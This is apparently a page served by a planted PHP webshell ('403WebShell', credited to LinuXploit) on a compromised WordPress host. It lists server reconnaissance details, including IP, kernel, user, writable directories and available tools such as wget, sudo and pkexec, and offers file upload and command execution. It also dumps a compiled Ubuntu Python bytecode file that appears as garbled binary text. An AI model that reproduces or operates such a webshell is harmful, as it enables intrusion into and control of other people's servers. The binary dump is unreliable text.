Warning: chmod(): No such file or directory in /home/tuempresavirtual.cl/public_html/wp-content/plugins/appointment-hour-booking/app-booking-plugin.php on line 3
403WebShell
403Webshell
Server IP : 186.64.123.29  /  Your IP : 216.73.217.94
Web Server : LiteSpeed
System : Linux house.hostinglat.cl 5.15.0-185-generic #195-Ubuntu SMP Fri Jun 19 17:11:50 UTC 2026 x86_64
User : tuemp9827 ( 1016)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/UbuntuDrivers/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/UbuntuDrivers/__pycache__/kerneldetection.cpython-310.pyc
o

�g��@s8ddlZddlZddlZddlmZGdd�de�ZdS)�N)�Popenc@sVeZdZddd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Zdd�Z	dd�Z
dd�ZdS)�KernelDetectionNcCsF|r
||_t�|�|_dSt��t��t�d�|_t�|�|_dS�N)�	apt_cache�apt_pkg�DepCache�apt_depcache�init_config�init_system�Cache)�self�cache�r�?/usr/lib/python3/dist-packages/UbuntuDrivers/kerneldetection.py�__init__ szKernelDetection.__init__cCs�t�d�}|�|�}|�|�}|r)d|�d�|�d�f}d|�d�|�d�f}t�d||f�d||f}t|�d��}|��|j	S)Nz(.+)-([0-9]+)-(.+)�%s-%s��zComparing %s with %sz dpkg --compare-versions %s gt %s� )
�re�compile�match�group�logging�debugr�split�communicate�
returncode)r�term1�term2�pattern�match1�match2�command�processrrr�_is_greater_than*s"



�
��z KernelDetection._is_greater_thancCs*t�d�}|�|�}d}|r|�d�}|S)Nz2linux-image-([0-9]+\.[0-9]+\.[0-9]+)-([0-9]+)-(.+)��)rrrr)r�
candidates�imager r�flavourrrr�_get_linux_flavour=s


z"KernelDetection._get_linux_flavourcCs2|j}|�d�rd|vr|js|j�|�r|SdS)N�linux-image�extra)�name�
startswith�current_verr�marked_install)r�pkg�package_namerrr�
_filter_cacheFs

�zKernelDetection._filter_cachec	s�d}d}d}d|dkr
dnd�t�d�}t|j|jj�D]&}|rC|�|�}|rC|�d�}d|�d�|�d	�f}	|�|	|�rC|	}|}q|r�|dkrQ|�	dd�}
n|}
�fd
d�|j|
j
D�}|r�d}|D]0}z%|j|}
|���r�|
r�|
js~|j
�|
�r�|�	�d�|�	�d�kr�|}Wqfty�Yqfw|dkr�d
d�|j|j
D�}|r�|�||
�}d}|D]
}|�d|�r�|}nq�|s�|d}|S|}|S)z7Get the linux headers, linux-image or linux metapackager&zlinux-%s�headersr)zlinux-image-(.+)-([0-9]+)-(.+)rrrrcs"g|]
}|jj���r|jj�qSr��
parent_pkgr.r/��.0�dep��prefixrr�
<listcomp>n��z:KernelDetection._get_linux_metapackage.<locals>.<listcomp>�metacSs"g|]
}|jj�d�r|jj�qS)zlinux-r6r8rrrr=�r>z	linux-%s-)rr�mapr4r�packagesrrr%�replace�rev_depends_listr/r0rr1�KeyErrorr+)r�target�metapackage�
image_package�versionr r3r�current_package�current_version�target_package�reverse_dependencies�	candidate�
candidate_pkgr*�
linux_metar?rr;r�_get_linux_metapackageOsv



����
�
������z&KernelDetection._get_linux_metapackagecC�
|�d�S)�5Get the linux headers for the newest_kernel installedr5�rP�rrrr�get_linux_headers_metapackage��
z-KernelDetection.get_linux_headers_metapackagecCrQ)rRr)rSrTrrr�get_linux_image_metapackage�rVz+KernelDetection.get_linux_image_metapackagecCrQ)z9Get the linux metapackage for the newest_kernel installedr?rSrTrrr�get_linux_metapackage�rVz%KernelDetection.get_linux_metapackagecCs�|��}d}z,|j�|j|�}|j�d�D]}|D]\}}}|�d�r.|���dd�}nqqW|St	yCt
�d|�YdSw)Nr&�Dependsr,zlinux-image-z#No dependencies can be found for %s)rWr�get_candidate_verr�depends_list_str�getr/�striprBrDr�error)r�linux_image_meta�
linux_versionrM�dep_list�dep_name�dep_ver�dep_oprrr�get_linux_version�s"
�����z!KernelDetection.get_linux_versionr)�__name__�
__module__�__qualname__rr%r+r4rPrUrWrXrerrrrrs

		Dr)rrr�
subprocessr�objectrrrrr�<module>s


Youez - 2016 - github.com/yon3zu
LinuXploit